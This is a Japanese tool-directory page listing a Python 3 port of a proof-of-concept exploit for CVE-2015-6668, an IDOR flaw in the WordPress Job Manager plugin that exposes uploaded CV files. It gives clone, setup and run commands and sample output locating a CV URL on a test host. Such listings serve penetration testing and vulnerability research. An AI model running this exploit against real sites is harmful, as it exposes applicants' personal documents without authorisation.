Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに！

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2015-6668 — Evangelos Mourikis による CVE-2015-6668 の POC を Python 3 用に変換したもの | Kitploit
ツール/GitHubGitHub/jimdiroffii/cve-2015-6668
脆弱性分析エクスプロイトウェブアプリケーション悪用情報収集ペネトレーションテスト
GitHubjimdiroffii/cve-2015-6668

CVE-2015-6668

Evangelos Mourikis による CVE-2015-6668 の POC を Python 3 用に変換したもの

リポジトリを見る
12年前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2015-6668

Evangelos Mourikis による CVE-2015-6668 の POC を Python 3 用に変換

WordPress の Job Manager プラグインにおける IDOR 脆弱性を悪用します。

Python 3.11.9 でテスト済み

参考文献

NIST CVE WPScan Vuln DB

セットアップと使用方法

リポジトリをクローンし、仮想環境（任意）を設定し、requests をインストールして、Python 3 でスクリプトを実行します。

クローン

root@kitploit:~
git clone https://github.com/jimdiroffii/CVE-2015-6668.git
cd CVE-2015-6668

Python 仮想環境（オプション）

root@kitploit:~
python3 -m venv .venv
  • Bash
root@kitploit:~
source .venv/bin/activate
  • Powershell
root@kitploit:~
.\.venv\Scripts\activate

requests のインストール

root@kitploit:~
python3 -m pip install requests

exploit.py の実行

root@kitploit:~
python3 ./exploit.py

出力

root@kitploit:~
$ python3 ./exploit.py
CVE-2015-6668
Title: CV filename disclosure on Job-Manager WP Plugin
Author: Evangelos Mourikis
Blog: https://vagmour.eu
Plugin URL: http://www.wp-jobmanager.com
Versions: <=0.7.25

Enter a vulnerable website: http://10.10.10.10
Enter a file name: HackerAccessGranted
[+] URL of CV found! http://10.10.10.10/wp-content/uploads/2017/04/HackerAccessGranted.jpg
ツールをダウンロード